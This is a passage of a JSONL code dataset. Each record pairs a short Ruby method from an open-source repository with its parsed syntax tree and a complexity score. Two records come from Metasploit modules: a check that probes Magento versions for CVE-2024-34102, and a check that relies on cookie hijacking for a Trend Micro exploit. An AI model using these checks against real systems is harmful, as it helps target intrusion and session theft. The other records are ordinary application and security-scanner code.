"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_slack_access_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"ivar\",\"children\":[\"@channel_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_thread_ts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ts\"]},{\"type\":\"ivar\",\"children\":[\"@requested_thread_ts\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"set_form_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPSuccess\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ok\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_messages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"messages\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_thread_ts\"]},null,{\"type\":\"lvasgn\",\"children\":[\"raw_messages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_messages\"]},\"reverse\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@messages\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_messages\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"message\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_thread_ts\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"thread_ts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"thread_ts\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ts\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SlackMessage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"this_message\"]}]}]}]}]}]}","id":"a54ebed0-9ddb-474d-b8f7-c4f3284754ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/trendmicro_websecurity_exec.rb","start_line":167,"raw_source":"def check\n    #\n    # @jsessionid can be one of the following value\n    #\n    # -1 = Proxy service is not vulnerable, which means we'r not gonna\n    # be able to read catalina.out\n    #\n    # 0  = Proxy service is vulnerable, but catalina.out does not contain any\n    # jessionid string yet !\n    #\n    # empty = Proxy service is vulnerable, but jessionid within log file but\n    # none of them are valid:(\n    #\n    # string = Proxy service is vulnerable and sessionid is valid !\n    #\n    hijack_cookie\n\n    if @jsessionid == -1\n      CheckCode::Safe\n    else\n      CheckCode::Vulnerable\n    end\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hijack_cookie\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jsessionid\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]}]}]}","id":"de36b380-341c-4c5b-882f-c7b2ec8c1c40"}
{"repo_name":"forem","file_path":"./repos/forem/spec/mailers/previews/notify_mailer_preview.rb","start_line":26,"raw_source":"def video_upload_complete_email\n    NotifyMailer.with(article: Article.last).video_upload_complete_email\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"video_upload_complete_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"article\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"last\"]}]}]}]},\"video_upload_complete_email\"]}]}","id":"a081c1ba-84fe-407b-af90-7f73f67c8a0c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/user/store.rb","start_line":328,"raw_source":"def extra_test_user_credential(var_name)\n            ENV[var_name].presence || raise(MissingUserCredentialError, \"Missing '#{var_name}' environment variable\")\n          end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"extra_test_user_credential\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var_name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingUserCredentialError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_name\"]}]},{\"type\":\"str\",\"children\":[\"' environment variable\"]}]}]}]}]}","id":"752d8cc4-ac35-44ef-9a51-8012689ce645"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240403121221_migrate_inputs_to_spec_on_catalog_resource_components.rb","start_line":10,"raw_source":"def up\n    each_batch_range('catalog_resource_components') do |min, max|\n      execute <<~SQL\n        UPDATE catalog_resource_components\n        SET spec = jsonb_set('{}'::jsonb, '{inputs}', inputs::jsonb)\n        WHERE id BETWEEN #{min} AND #{max}\n        AND spec = '{}' AND inputs <> '{}'\n      SQL\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_batch_range\",{\"type\":\"str\",\"children\":[\"catalog_resource_components\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"min\"]},{\"type\":\"arg\",\"children\":[\"max\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE catalog_resource_components\\n\"]},{\"type\":\"str\",\"children\":[\"SET spec = jsonb_set('{}'::jsonb, '{inputs}', inputs::jsonb)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id BETWEEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]}]},{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AND spec = '{}' AND inputs <> '{}'\\n\"]}]}]}]}]}","id":"9b47c248-4b5a-470b-9972-7196518c8dd2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_converter.rb","start_line":45,"raw_source":"def convert_to_private_message\n    Topic.transaction do\n      was_public = !@topic.category.read_restricted\n      @topic.update_category_topic_count_by(-1) if @topic.visible\n\n      PostRevisor.new(@topic.first_post, @topic).revise!(\n        @user,\n        category_id: nil,\n        archetype: Archetype.private_message,\n      )\n\n      raise ActiveRecord::Rollback if !@topic.valid?\n\n      add_allowed_users\n      update_post_uploads_secure_status\n      add_small_action(\"private_topic\")\n      Tag.update_counters(@topic.tags, { public_topic_count: -1 }) if was_public\n      UserProfile.remove_featured_topic_from_all_profiles(@topic)\n\n      Jobs.enqueue(:topic_action_converter, topic_id: @topic.id)\n      Jobs.enqueue(:delete_inaccessible_notifications, topic_id: @topic.id)\n\n      watch_topic(@topic)\n    end\n\n    @topic\n  end","complexity_score":37.0,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_private_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"was_public\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"category\"]},\"read_restricted\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"visible\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"update_category_topic_count_by\",{\"type\":\"int\",\"children\":[-1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostRevisor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"first_post\"]},{\"type\":\"ivar\",\"children\":[\"@topic\"]}]},\"revise!\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"valid?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_allowed_users\"]},{\"type\":\"send\",\"children\":[null,\"update_post_uploads_secure_status\"]},{\"type\":\"send\",\"children\":[null,\"add_small_action\",{\"type\":\"str\",\"children\":[\"private_topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"was_public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"update_counters\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_topic_count\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProfile\"]},\"remove_featured_topic_from_all_profiles\",{\"type\":\"ivar\",\"children\":[\"@topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"topic_action_converter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"delete_inaccessible_notifications\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"watch_topic\",{\"type\":\"ivar\",\"children\":[\"@topic\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@topic\"]}]}]}","id":"6a448352-5f34-4905-b78b-3f6b8d2db567"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/jobs/poll_mailbox_spec.rb","start_line":192,"raw_source":"def poll_mailbox(process_cb)\n            process_cb.call(file_from_fixtures(\"original_message.eml\", \"emails\"))\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_mailbox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"process_cb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_cb\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"file_from_fixtures\",{\"type\":\"str\",\"children\":[\"original_message.eml\"]},{\"type\":\"str\",\"children\":[\"emails\"]}]}]}]}","id":"0a99688f-f966-49b9-b99b-c13880d229c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/ci/job_entity.rb","start_line":77,"raw_source":"def retryable?\n      job.retryable? && can?(request.current_user, :retry_job, job)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"retryable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"retryable?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"retry_job\"]},{\"type\":\"send\",\"children\":[null,\"job\"]}]}]}]}","id":"c3988955-f725-4f4f-9709-f42219d75033"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb","start_line":25,"raw_source":"def hash\n          TypeMetadata.hash ^\n            __getobj__.hash ^\n            extra.hash\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeMetadata\"]},\"hash\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},\"hash\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extra\"]},\"hash\"]}]}]}","id":"53a38958-689c-40c6-bbc4-81d938b62e2e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb","start_line":49,"raw_source":"def check\n    vprint_status('Trying to get the Magento version')\n\n    # request to check if the target is vulnerable /magento_version\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/magento_version')\n    })\n\n    return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200\n\n    # Magento/2.4 (Community)\n    version, edition = res.body.scan(%r{Magento/([\\d.]+) \\(([^)]+)\\)}).first\n\n    version = Rex::Version.new(version)\n\n    return CheckCode::Safe(\"Detected Magento #{edition} edition version #{version} which is not vulnerable\") unless\n      version <= (Rex::Version.new('2.4.7')) ||\n      version <= (Rex::Version.new('2.4.6-p5')) ||\n      version <= (Rex::Version.new('2.4.5-p7')) ||\n      version <= (Rex::Version.new('2.4.4-p8')) ||\n      (\n        edition == 'Enterprise' && (\n          version <= (Rex::Version.new('2.4.3-ext-7')) ||\n          version <= (Rex::Version.new('2.4.2-ext-7'))\n        )\n      )\n\n    CheckCode::Appears(\"Detected Magento #{edition} edition version #{version} which is vulnerable\")\n  end","complexity_score":50.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trying to get the Magento version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/magento_version\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Could not detect the version.\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\"]},{\"type\":\"lvasgn\",\"children\":[\"edition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Magento/([\\\\d.]+) \\\\(([^)]+)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.7\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.6-p5\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.5-p7\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.4-p8\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edition\"]},\"==\",{\"type\":\"str\",\"children\":[\"Enterprise\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.3-ext-7\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.2-ext-7\"]}]}]}]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected Magento \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edition\"]}]},{\"type\":\"str\",\"children\":[\" edition version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" which is not vulnerable\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected Magento \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"edition\"]}]},{\"type\":\"str\",\"children\":[\" edition version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" which is vulnerable\"]}]}]}]}]}","id":"d4d20389-d369-4a3b-8c14-4ba9dbe3dada"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":1903,"raw_source":"def test_run_stop_thread_safety\n    100.times do\n      thread = @server.run\n      @server.stop\n      assert thread.join(1)\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_stop_thread_safety\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"thread\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"run\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"stop\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"join\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"2145fcfa-e545-4625-8989-8dd6e6774768"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_escape_function.rb","start_line":10,"raw_source":"def run_check\n    if version_between?('2.0.0', '2.3.13') and RUBY_VERSION < '1.9.0' \n\n      warn :warning_type => 'Cross-Site Scripting',\n        :warning_code => :CVE_2011_2932,\n        :message => msg(\"Rails versions before 2.3.14 have a vulnerability in the \", msg_code(\"escape\"), \" method when used with Ruby 1.8 \", msg_cve(\"CVE-2011-2932\")),\n        :confidence => :high,\n        :gem_info => gemfile_or_environment,\n        :link_path => \"https://groups.google.com/d/topic/rubyonrails-security/Vr_7WSOrEZU/discussion\",\n        :cwe_id => [79]\n    end\n  end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.13\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]},\"<\",{\"type\":\"str\",\"children\":[\"1.9.0\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2011_2932\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Rails versions before 2.3.14 have a vulnerability in the \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"escape\"]}]},{\"type\":\"str\",\"children\":[\" method when used with Ruby 1.8 \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2011-2932\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/Vr_7WSOrEZU/discussion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[79]}]}]}]}]},null]}]}","id":"f84acd09-2570-44b9-ba57-731a7dad3ad6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/query_builder.rb","start_line":224,"raw_source":"def next_cursor_values_query\n            cursor_values = order_by_columns.cursor_values(RECURSIVE_CTE_NAME)\n            array_mapping_scope_columns = array_scope_columns.array_lookup_expressions_by_position(RECURSIVE_CTE_NAME)\n\n            keyset_scope = scope\n              .reselect(*order_by_columns.arel_columns)\n              .merge(array_mapping_scope.call(*array_mapping_scope_columns))\n\n            order\n              .apply_cursor_conditions(keyset_scope, cursor_values, use_union_optimization: true)\n              .reselect(*order_by_columns.map(&:column_for_projection))\n              .limit(1)\n          end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"next_cursor_values_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cursor_values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_by_columns\"]},\"cursor_values\",{\"type\":\"const\",\"children\":[null,\"RECURSIVE_CTE_NAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"array_mapping_scope_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"array_scope_columns\"]},\"array_lookup_expressions_by_position\",{\"type\":\"const\",\"children\":[null,\"RECURSIVE_CTE_NAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keyset_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"reselect\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_by_columns\"]},\"arel_columns\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"array_mapping_scope\"]},\"call\",{\"type\":\"splat\",\"childr